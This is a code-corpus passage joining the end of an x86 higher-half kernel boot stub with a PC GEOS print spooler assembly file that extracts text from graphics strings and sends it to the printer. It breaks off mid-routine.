or ecx, 0x80000000 ; Set PG bit in CR0 to enable paging.
mov cr0, ecx
; Start fetching instructions in kernel space.
; Since eip at this point holds the physical address of this command (approximately 0x00100000)
; we need to do a long jump to the correct virtual address of StartInHigherHalf which is
; approximately 0xC0100000.
lea ecx, [higher_half_start]
jmp ecx
higher_half_start:
mov dword [BootPageDirectory], 0
invlpg [0]
mov esp, kernel_stack_bottom + STACKSIZE ; set up the stack
mov [magic], eax
add ebx, KERNEL_VIRTUAL_BASE
mov [mbd_info], ebx
sub esp, 8 ; align stack to 16-byte boundary
push dword [mbd_info]
push dword [magic]
.kmain_call:
call kmain ; call kernel proper
cli
hang:
hlt ; halt machine should kernel return
jmp hang
section .bss
align 0x1000
kernel_stack_bottom: resb STACKSIZE ; reserve 16k stack on a doubleword boundary
magic: resd 1
mbd_info: resd 1
| 30.06087 | 103 | 0.643043 | [
"MIT"
] | LugosFingite/LudOS | kern/i686/pc/bootsect.asm | 3,457 | Assembly |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Print Spooler
FILE: processText.asm
AUTHOR: Dave Durran
ROUTINES:
Name Description
---- -----------
DoTextPrinting Handles printing in text modes
GetTextStrings Extracts text strings from gstrings
SendTextStrings Send the text strings down to the printer
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 7/92 Initial 2.0 revision
DESCRIPTION:
This file contains routines to handle text printing
Text printing is done in a rather interesting fashion under PC GEOS.
Applications actually draw their spool file just as if they were
printing a graphics page. The code here scans through the resulting
graphics string and pulls out the text strings, along with the
position to draw them and the attributes in affect at the time.
A first pass is made through the gstrings containing the page
description. In this pass, all the text strings are extracted ajnd
stored in chunks, in the TextStrings block. These chunks are
sorted in x and y. After all the strings for the page are extracted,
they are sent to the printer. This is done by building a line
of characters, with spaces separating the runs of text, along with
information about the style. A print head positioning command is
sent for the beginning of the line, then the entire line is sent
down to the printer, a style run at a time.
$Id: processText.asm,v 1.1 97/04/07 11:11:12 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrintText segment resource
if _TEXT_PRINTING
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DoTextInit
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Do some initialization for text printing
CALLED BY: INTERNAL
PrintDocument
PASS: inherits lots of local variables from SpoolerLoop
RETURN: ax - 0 (signals no error)
DESTROYED: di, cx, bx, dx, ds
PSEUDO CODE/STRATEGY:
Get the strings out of the gstring;
Build out a list of the strings, sorted in y order;
Send them on down to the printer;
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 03/90 Initial version
Dave 7/92 Initial 2.0 version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DoTextInit proc far
curJob local SpoolJobInfo
.enter inherit
; we need to create a gstate to draw through, even though
; we're not going to really draw anything using the
; graphics system
clr di ; pass bogus window handle
call GrCreateState ; di = gstate handle
mov curJob.SJI_gstate, di ; save gstate
; get the transformation matrix back to start in the gstate
segmov ds,ss,si
lea si,curJob.SJI_defMatrix ;set to our transformation matrix
call GrApplyTransform
; allocate the TextStrings structure.
; (see processConstant.def)
mov ax, LMEM_TYPE_GENERAL ;type of block.
mov cx, size TextStrings ;size of header.
call MemAllocLMem
mov curJob.SJI_tsHan, bx ; save handle
;we have our lmem block, now create the structures within.
call MemLock ; lock it down
mov ds, ax ; ds -> block
; alloc an extra chunk in the TextStrings block to act as
; a buffer for reading in gstring elements
clr al ; no object flags
mov cx, 0 ; alloc to zero to start
call LMemAlloc ;
mov ds:[TS_gsBuffer], ax ; save handle for later
clr bx ;variable size elements.
mov cx,bx ;default ChunkArrayHeader.
mov si,bx ;new chunk.
mov al, mask OCF_IGNORE_DIRTY
call ChunkArrayCreate ;do it.
mov ds:TS_styleRunInfo,si ;store the handle to the chunkarray
clr si
mov bx,size TextAttrInfo
call ElementArrayCreate
mov ds:TS_textAttributeInfo,si ;store the handle to elementarray
mov bx, curJob.SJI_tsHan
call MemUnlock ; unlock block for later use
clr ax ; signal no error
.leave
ret
DoTextInit endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitTextStringsBlock
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Initialize the TextStrings block
CALLED BY: INTERNAL
DoTextInit,
PASS: curJob - passed stack frame
RETURN: nothing
DESTROYED: ds, dx, cx
PSEUDO CODE/STRATEGY:
call LMemInitHeap, blah, blah
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 06/90 Initial version
Dave 7/92 Initial 2.0 version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InitTextStringsBlock proc near
uses ax
curJob local SpoolJobInfo
.enter inherit
; lock the block, and initialize the lmem heap
push si, di, bp
mov bx, curJob.SJI_tsHan ; save handle
call MemLock ; lock it down
mov ds, ax ; ds -> block
pop si, di, bp
; alloc an extra chunk in the TextStrings block to act as
; a buffer for reading in gstring elements
clr al ; no object flags
mov cx, 0 ; alloc to zero to start
call LMemAlloc ;
mov ds:[TS_gsBuffer], ax ; save handle for later
;initialize the chunkarray for the string info.
mov si,ds:[TS_styleRunInfo] ;get the handle for array.
call ChunkArrayGetCount ;get teh number of chunks.
jcxz inittedChunks
clr ax
call ChunkArrayDeleteRange ;get rid of the string infos.
inittedChunks:
;initialize the element array for the attribute info.
inittedElements::
; all done, release the block
mov bx, curJob.SJI_tsHan ; save handle
call MemUnlock
.leave
ret
InitTextStringsBlock endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrintTextPage
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Print a single text page, including any tiling required
CALLED BY: EXTERNAL
PrintDocument
PASS: curJob stack frame
RETURN: ax - return code from GetTextStrings
carry - set if some error transmitting to printer
DESTROYED: most everything
PSEUDO CODE/STRATEGY:
do what it takes, man.
This routine is responsible for printing a single document
page. That means that it deals with printing all the tiles
of tiled output, if that is required.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 06/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrintTextPage proc far
curJob local SpoolJobInfo
.enter inherit
; the file is already open, associate it with a graphics
; string handle
mov cx, GST_STREAM ; type of gstring it is
mov bx, curJob.SJI_fHan ; bx gets file handle
call GrLoadGString ; si = string handle
mov curJob.SJI_gstring, si ; store the handle
mov di, curJob.SJI_gstate ; restore gstate handle
; find/load the strings into the TextStrings block
; then send the strings down to the printer. For big documents
; the GetTextStrings routine will load up all the strings
; for the entire document. Then we can deal with printing
; out the tiles separately.
call GetTextStrings ; get the strings
cmp ax, GSRT_FAULT ; quit if any problem
LONG je done
;source point for ax, and bx later.......
; done with this page, kill the string
mov dl, GSKT_LEAVE_DATA ; don't try to kill the data
call GrDestroyGString ; si = string handle
;This little bit of mularky is to make sure that ProcessEndPage
;has the correct entry GSRT value from playing the GString.
;The way this works is: GString is played once; for tiling the
;ProcessEndPage routine is called many times in the following
;loops; dx is used to hold the original GSRT passed from the
;playstring stuff; ax is passed out of this routine like normal
;ax is restuffed from dx at the beginning of each page loop,
;so that ProcessEndPage will do the right thing.
mov dx,ax ;save the GSRT value.
; now we have all the strings. So print them.
; We need to output all the pages we print tiled documents
; across, then down. Outside loop is for y papers,
; inside loop is for x papers
mov cx, curJob.SJI_yPages ; init y loop variable
mov curJob.SJI_curyPage, cx
mov cx, paperInfo.PSR_margins.PCMP_top ; init top side
mov curJob.SJI_textTileY.low, cx
clr curJob.SJI_textTileY.high
tileInY:
mov cx, curJob.SJI_xPages ; init x loop variable
mov curJob.SJI_curxPage, cx
mov cx, paperInfo.PSR_margins.PCMP_left ; init left side
mov curJob.SJI_textTileX, cx
add cx, curJob.SJI_printWidth ; set right margin
mov curJob.SJI_textTileXright, cx
; First, tell the printer we're starting a new page.
tileInX:
call BumpPhysPageNumber
call ProcessStartPage ; send START_PAGE
LONG jc exitError ; all done
; next send the strings for this page
call SendTextStrings ; print strings for page
LONG jc exitError ; all done
; let the printer know we're done with a page. If the
; SUPRESS_FF flag is set, then don't send the END_PAGE
;ax,bx,and dx have to be preserved through this loop!
mov ax,dx ; recover the original GSRT.
call ProcessEndPage ; issue a DR_PRINT_END_PAGE
LONG jc exitError ; all done
; even though we're done with the page, we need to advance
; down to the end of the document (if we haven't issued a
; form feed). So check for the mode and do the right thing.
test curJob.SJI_printState, mask SPS_FORM_FEED
jnz checkNextSwoosh
mov di, DR_PRINT_SET_CURSOR
push bx,dx ;save GSRT and data from
;GetTextStrings routine.
mov bx, curJob.SJI_pstate
mov dx, curJob.SJI_printHeight ; finish document
call curJob.SJI_pDriver
pop bx,dx ;recover GSRT and data from
;GetTextStrings routine.
; now we're done with a page. We might have to print out
; a few more to the right, so check that first
checkNextSwoosh:
sub curJob.SJI_curxPage, 1 ; one less this way
jle nextSwoosh ; done this way, check
; We have more to do in this swoosh . Update the current pos
; and go for it. First make sure we have paper...
push ax
call AskForNextTextPage
cmp ax, IC_DISMISS ; verify this fact...
pop ax
je shutdownCondition ; or go shutdown
mov cx, curJob.SJI_printWidth ; add in prntable width
add curJob.SJI_textTileX, cx ; bump origin
add curJob.SJI_textTileXright, cx ; bump right margin
jmp tileInX
; done with a horizontal swoosh of papers. Do the next
; swoosh. Like before, check first to see if there is another
nextSwoosh:
sub curJob.SJI_curyPage, 1 ; one less
jle donePage
; more swooshes to do. Update origin.
; First make sure we have paper...
push ax
call AskForNextTextPage
cmp ax, IC_DISMISS ; except when we're
pop ax
je shutdownCondition ; shutting down
mov cx, curJob.SJI_printHeight ; add printable height
add curJob.SJI_textTileY.low, cx ; bump origin
adc curJob.SJI_textTileY.high, 0
jmp tileInY
; done with the current document page.
donePage:
clc
; we're done with this page. Re-init the LMemBlock
done:
pushf
call InitTextStringsBlock ; clear out the strings
popf
exit:
.leave
ret
; shutting down GEOS, take evasive action..
shutdownCondition:
mov ax, GSRT_FAULT ; something wrong
jmp exit
; some error transmitting to printer. set carry and we're gone
exitError:
stc
jmp done ; all done...
PrintTextPage endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DoTextCleanup
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Write out a string
CALLED BY: GLOBAL
PASS: everything is in curJob stack frame
RETURN: nothing
DESTROYED: bx, di
PSEUDO CODE/STRATEGY:
free the memory we accumulated
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 06/90 Initial version
Dave 7/92 Initial 2.0 version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DoTextCleanup proc far
curJob local SpoolJobInfo
.enter inherit
; clean up the normal text-related things
mov bx, curJob.SJI_tsHan ; get handle
call MemFree ; kill the block
mov di, curJob.SJI_gstate ; kill gstate
call GrDestroyState ; di = gstate handle
; if we were aborting this print job, then nuke the stream
; buffer, to stop more characters from getting to the printer
call CheckForErrors ; see if ABORT is pending...
jnc done ; no, just exit
; OK, we're exiting because of an user-initiated abort. We want
; to nuke the stream buffer, then re-open it (since the rest of
; the spooler expects it to be open)
mov di, DR_STREAM_FLUSH ; destroy the stream buffer
mov ax, STREAM_WRITE ; biff the data in it
; this will get the unit number for either the parallel port
; or the serial port. When another port type is supported
; in the (near) future, then this code will probably have
; to change.
mov bx, curJob.SJI_info.JP_portInfo.PPI_params.PP_parallel.PPP_portNum
call curJob.SJI_stream ; nuke it.
; after we flush the stream, we should send a form feed
mov cl,C_FF ;init for FF
mov di, DR_PRINT_END_PAGE
mov bx, curJob.SJI_pstate
call curJob.SJI_pDriver
done:
.leave
ret
DoTextCleanup endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SendTextStrings
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Send out the collected strings to the printer
CALLED BY: INTERNAL
DoTextPrinting
PASS: inherits local frame
RETURN: carry - set if some transmission error
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Go through the TextStrings block, and send each string
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 03/90 Initial version
Dave 7/92 Initial 2.0 version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SendTextStrings proc near
uses ax, bx, cx, si, dx
curJob local SpoolJobInfo
.enter inherit
; for each StyleRunInfo chunk, loop through all the strings
mov bx, curJob.SJI_pstate
call MemLock
mov ds, ax
mov dl,ds:[PS_paperInput] ;grab paperpath for test later
call MemUnlock ; (preserves flags)
; lock down the TextStrings block
mov bx, curJob.SJI_tsHan ; get handle to text block
call MemLock
mov ds, ax ; ds -> text chunk
mov si, ds:[TS_styleRunInfo] ;get the chunks set up.
clr ax
nextYPos:
push ax ;save the chunk element #
call ChunkArrayElementToPtr ;deref the chunk.
jc doneNoErr ;if after the last element, ex
mov ax, ds:[di].SRI_yPosition ;get the y position.
add ax, paperInfo.PSR_margins.PCMP_top ;add the margin amount in.
; printer always prints from 0
sub ax, curJob.SJI_textTileY.low ; above current ytop ?
jl skipThisElement ; yes, skip this line
test curJob.SJI_printState, mask SPS_TILED ; if not tiled in Y,
jz checkBottom ; don't care about tractor
test dl, mask PIO_TRACTOR
jnz checkXPosition ;if tractor, one big page.
checkBottom:
sub ax, curJob.SJI_printHeight ; bottom margin.
jge doneNoErr ; all done with this page
checkXPosition:
; Make sure it's past the left margin, since that is where
; we want to start outputting characters.
mov ax, ds:[di].SRI_xPosition ;get the x position.
add ax, paperInfo.PSR_margins.PCMP_left ;add the margin amount in.
; printer always prints from 0
sub ax, curJob.SJI_textTileX ; past left margin ?
jl skipThisElement ; if so, for now, just bail.
sub ax,curJob.SJI_printWidth ;see if offpage to right.
jge skipThisElement ; if so, reject....
add ax,ds:[di].SRI_stringWidth.WBF_int ;see if the whole string is
jl stringOnPage ;on this page.
call SnipTextString ;take and cut this string up.
jc skipThisElement ;if the whole element moved
;as a result of an incomplete
;character left on left page,
;skip it.
stringOnPage:
push dx,si ;save the paperpath, SRI handle
mov dx, ds ;set dx:si to be element.
mov si, di
mov ax, curJob.SJI_textTileX ; pass the offset into tiles
mov cx, curJob.SJI_textTileY.low ; pass the offset into tiles
mov bx, curJob.SJI_pstate
mov di, DR_PRINT_STYLE_RUN ;call to print this text.
call curJob.SJI_pDriver ; print out the collected buff
pop dx,si
jc done ; if any error, quit
mov bx, curJob.SJI_tsHan ; just in case PRINT_STYLE_RUN
call MemDerefDS ; messes with us.
; all done with this style run, on to the next one
skipThisElement:
pop ax
inc ax ;point at next chunk.
jmp nextYPos
doneNoErr:
clc
done:
mov bx, curJob.SJI_tsHan ; release text block
call MemUnlock
pop ax ;adjust stack.
.leave
ret
SendTextStrings endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SnipTextString
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: cut the string in two peices at the right margin, store both
back into chunkarray
CALLED BY: INTERNAL
PASS: *ds:si - textStrings array
ds:di - textStrings array element being snipped
ax - number of points the string extends to the right of margin.
RETURN: ds:di - address of left element (may have moved)
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
1 Get the string width and # chars for the left part.
2 Insert a new chunk and copy everything up to the last left
part character in it from the original.
3 fix up the number of characters and stringWidth in each part,
and the x position for the right part.
4 move the characters from the end of the origional string
to the beginning of the right part string.
5 resize the right part chunk.
6 deref the left chunk to return.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 03/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SnipTextString proc near
uses ax, bx, cx, dx, es
curJob local SpoolJobInfo
.enter inherit
push si ;save chunk array handle
;Get the string width and # chars for the left part.
mov dx,ds:[di].SRI_stringWidth.WBF_int
sub dx,ax ;get the width of the string to left.
;dx is now the width to left, ax the
;width to right. We start on the right
;first.
push dx ;save the left part.
clr ax
clr cx
mov bx,ds:[di].SRI_stringWidth.WBF_int
call GrUDivWWFixed ;get fraction of string width to right.
mov bx,ds:[di].SRI_numChars ;x total number of chars =
clr ax
call GrMulWWFixed ;dx.cx = # chars to left
;always round down.
;see if there are any whole character in the left part after
;the rounding down.
;at this point dx = #char to left,
;width to left is on stack
tst dx ;any chars left on left?
jnz insertNewChunk ;if so, then we add a new chunk to
;hold them.
pop cx ;get back the position to right.
add ds:[di].SRI_xPosition,cx ;adjust the x position of right part.
sub ds:[di].SRI_stringWidth.WBF_int,cx ;set the right width
;Now the whole string has been moved to
;the right part to be printed on the
;next page.
pop si ;adjust stack.
stc ;set to not print this element now...
jmp exit ;leave.
;Insert a new chunk and copy everything up to the last left
;part character in it from the original.
insertNewChunk:
;at this point dx = chars to left, and
;stringWidth to left is on stack.
mov ax,offset SRI_text ;size req'd for header
DBCS < shl dx, 1 >
add ax,dx ;size required for string
call ChunkArrayInsertAt ;create the new chunk for right part.
mov bx,di ;save this offset.
call ChunkArrayPtrToElement ;get this element #.
inc ax ;get element # of source chunk.
call ChunkArrayElementToPtr ;get offset of source chunk.
mov si,di ;switch so source is in si.
mov di,bx ;get back new chunk offset.
segmov es,ds,cx ;set up same segment.
mov cx,offset SRI_text ;size of information header.
add cx,dx ;size required for string.
push si,di ;save indices for chunks.
rep movsb ;fill in info
pop si,di ;get back indices.
;fix up the number of characters and stringWidth in each part,
;and the x position for the right part.
;at this point we have a duplicate
;chunk added in front of the original
;chunk with only the left side
;characters.
DBCS < shr dx, 1 >
mov ds:[di].SRI_numChars,dx ;replace the number of characters.
sub ds:[si].SRI_numChars,dx ;set remaining number to right.
pop cx ;retreive the width to left.
mov ds:[di].SRI_stringWidth.WBF_int,cx ;set the left width.
add ds:[si].SRI_xPosition,cx ;adjust the x position of right part.
sub ds:[si].SRI_stringWidth.WBF_int,cx ;set the right width
clr ds:[di].SRI_stringWidth.WBF_frac ;clear left fraction.
;move the characters from the end of the origional string
;to the beginning of the right part string.
;at this point the new (first, left)
;chunk is ready to go, and all that
;needs to be done is move the text from
;the end of the string in the right part ;chunk to the beginning of the text
;field, and lopp of the end of the
;chunk.
push si ;save the offset to right chunk.
mov cx,ds:[si].SRI_numChars ;number of chars to right
add si,offset SRI_text ;now offset to text start.
mov di,si ;into dest.
DBCS < shl dx, 1 >
add si,dx ;source index is start of chars to right
LocalCopyNString ;transfer them to beginning.
pop di ;recover the offset to chunk.
;resize the right part chunk.
pop si ;recover chunk array handle
call ChunkArrayPtrToElement ;get element # in ax.
mov cx,ds:[di].SRI_numChars ;size required for string
DBCS < shl cx, 1 >
add cx,offset SRI_text ;size req'd for header
call ChunkArrayElementResize ;resize the right part
;now deref the left chunk to return.
dec ax
call ChunkArrayElementToPtr
clc ;OK to print this element now.....
exit:
.leave
ret
SnipTextString endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetTextStrings
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Extract text strings from a gstring for one document page
CALLED BY: INTERNAL
DoTextPrinting
PASS: si - gstring handle
di - gstate handle
RETURN: ax - GSRetType
bx - data accompanying GSRetType
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Search for output elements in the gstrings...
Accumulate/sort them in a separate block
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 03/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetTextStrings proc near
uses cx, dx
curJob local SpoolJobInfo
.enter inherit
; first off, lock down the TextStrings block
mov bx, curJob.SJI_tsHan ; lock down block
call MemLock
mov ds, ax ; ds -> TextString blk
; search for the next output element
keepScanning:
mov dx, mask GSC_NEW_PAGE or mask GSC_OUTPUT
clr ax
clr bx
call GrDrawGString ; go until we hit one
mov ax, dx ; save return code
; if we're done with the page, exit. If the last element in
; the entire string is an output element, we will FAULT here,
; so just map it to COMPLETE
cmp ax, GSRT_FAULT ; if some problem...
jne checkFormFeed ; ...exit
mov ax, GSRT_COMPLETE ; map FAULT to COMPLETE
checkFormFeed:
cmp ax, GSRT_NEW_PAGE ; if at end of page..
je donePage ; ...exit
cmp ax, GSRT_COMPLETE ; same if at end of
je donePage ; document
; not at end of page, so we must have hit some output.
; check to see what it is...
clr bx ; use bx as table index
tryNextCode:
cmp cl, cs:textOpcodes[bx] ; check for valid code
je foundValidCode
inc bx
cmp bx, NUM_VALID_TEXT_CODES
jb tryNextCode
; it's not a text-output code, skip it. Need to execute it
; so that the current position is updated correctly
; We can return to our normal processing here, since the
; call will skip this element and go on.
jmp keepScanning
; found a valid text opcode, extract the string
; We need to get the current transformation matrix elements,
; so we may apply the appropriate translation. We do not
; do scales/rotates.
foundValidCode:
shl bx, 1 ; make it a word index
call cs:extractRouts[bx] ; call routine
jmp keepScanning
; all done, exit
donePage:
mov bx, curJob.SJI_tsHan ; unlock the block
call MemUnlock
mov bx, cx ; bx <- GSRetType data
.leave
ret
GetTextStrings endp
;-------------------------------------------------------------------------
; Text opcode table and extraction routine table
;-------------------------------------------------------------------------
; table of valid text opcodes
textOpcodes label byte
byte GR_DRAW_TEXT_FIELD ; this is most common
byte GR_DRAW_TEXT
byte GR_DRAW_TEXT_CP
byte GR_DRAW_CHAR
byte GR_DRAW_CHAR_CP
NUM_VALID_TEXT_CODES equ $-textOpcodes
; table of extraction routines
extractRouts label nptr
nptr offset cs:GetTextFieldString
nptr offset cs:GetTextString
nptr offset cs:GetTextCPString
nptr offset cs:GetCharString
nptr offset cs:GetCharCPString
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetTextString
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Extract a text string from a gstring element and put it
it our TextStrings block
CALLED BY: INTERNAL
GetTextStrings
PASS: si - handle to gstring
di - handle to gstate (contains current attr)
ds - segment of TextStrings block
bp - pointer to stack frame
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
The current position in the gstring is at the element,
so use GetElement to read in the data, then put the text
string in the chunk.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 03/90 Initial version
Dave 08/92 Initial 2.0 version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetTextString proc near
uses ax, bx, cx, si, di, dx
.enter
; Get the element to see how big the string is
call ReadNextElement ; get the element
; OK, we have the element and how big it is, so alloc
; a new text string chunk and init to current attributes
mov cx, ds:[bx].ODT_len ; get string length
mov ax, ds:[bx].ODT_x1 ; get x,y coordinates
mov bx, ds:[bx].ODT_y1
call TransformStringPosition ; apply any transform
mov dx, size OpDrawText ; ds:si -> string
mov si, ds:[TS_gsBuffer] ; string is in buffer
call AllocStringChunk ; make some space
.leave
ret
GetTextString endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetTextCPString
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Extract a text string from a gstring element and put it
it our TextStrings block
CALLED BY: INTERNAL
GetTextStrings
PASS: si - handle to gstring
di - handle to gstate (contains current attr)
ds - segment of TextStrings block
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
The current position in the gstring is at the element,
so use GetElement to read in the data, then put the text
string in the chunk.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 03/90 Initial version
Dave 08/92 Initial 2.0 version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetTextCPString proc near
uses ax, bx, cx, si, di, dx
.enter
; Get the element to see how big the string is
call ReadNextElement ; get the element
; OK, we have the element and how big it is, so alloc
; a new text string chunk and init to current attributes
mov cx, ds:[bx].ODTCP_len ; get string length
call GrGetCurPos ; ax,bx = cur pen pos
call TransformStringPosition ; apply any transform
mov dx, size OpDrawTextAtCP ; ds:si -> string
mov si, ds:[TS_gsBuffer] ; string is in buffer
call AllocStringChunk ; make some space
.leave
ret
GetTextCPString endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetTextFieldString
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Extract a text string from a gstring element and put it
it our TextStrings block
CALLED BY: INTERNAL
GetTextStrings
PASS: si - handle to gstring
di - handle to gstate (contains current attr)
ds - segment of TextStrings block
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Since the element could have multiple Style runs, we
use GrCopyGString to copy it from the gstring to our local
buffer, using the GST_CHUNK option on creating a gstring.
Then we can take it apart.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 03/90 Initial version
Dave 08/92 Initial 2.0 version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetTextFieldString proc near
uses ax, bx, cx, si, di, dx
curJob local SpoolJobInfo
.enter inherit
push di ; save our gstate handle
; first resize the buffer chunk to zero
mov ax, ds:[TS_gsBuffer] ; pass chunk handle too
mov cx, 0 ;
call LMemFree
; first set up to draw into our buffer
push si ;save GString handle
mov cl, GST_CHUNK ; it's a memory type gstring
mov bx, ds:[TS_header].LMBH_handle ; get block handle
call GrCreateGString ; di = gstring handle
mov ds:[TS_gsBuffer], si
pop si ;recover GString handle
; now draw the one element into our buffer
mov dx, mask GSC_ONE ; return after one element
clr ax
clr bx
call GrCopyGString
; that's all we need, so biff the string
mov si, di ; si -> destination GString
clr di ; no associated GState
mov dl, GSKT_LEAVE_DATA ; don't kill the data
call GrDestroyGString
pop di ; restore gstate handle
; Now in the process of GrCopyGString-ing to the buffer, the
; block may have moved (it being an LMem block and all). We
; wouldn't know it, of course, since ds is pushed/poped
; by GrDrawGString. So let's dereference it here.
mov bx, curJob.SJI_tsHan ; get the handle
call MemDerefDS ; dereference it
mov bx, ds:[TS_gsBuffer] ; get pointer to buffer
mov bx, ds:[bx] ; ds:bx -> buffer
; get the size of the fixed part of the element
mov dx, (size OpDrawTextField + size TFStyleRun)
mov si, size OpDrawTextField ; bx.dx -> string
mov cx,ds:[bx].ODTF_saved.GDFS_nChars ;get # chars.
; do the first style run, it might be the only one too...
mov ax, ds:[bx].ODTF_saved.GDFS_drawPos.PWBF_x.WBF_int
; loop through the style runs, getting out the attributes
styleRuns:
; check for auto hyphen
test ds:[bx].ODTF_saved.GDFS_flags, \
mask HF_AUTO_HYPHEN
jz stringFixed
call FixUpAutoHyphen
stringFixed:
call HandleStyleRun ; handle next run
cmp cx, 0 ; fewer characters to go
jle done ; all done, exit
; done with this style run, bump pointers on to the next one
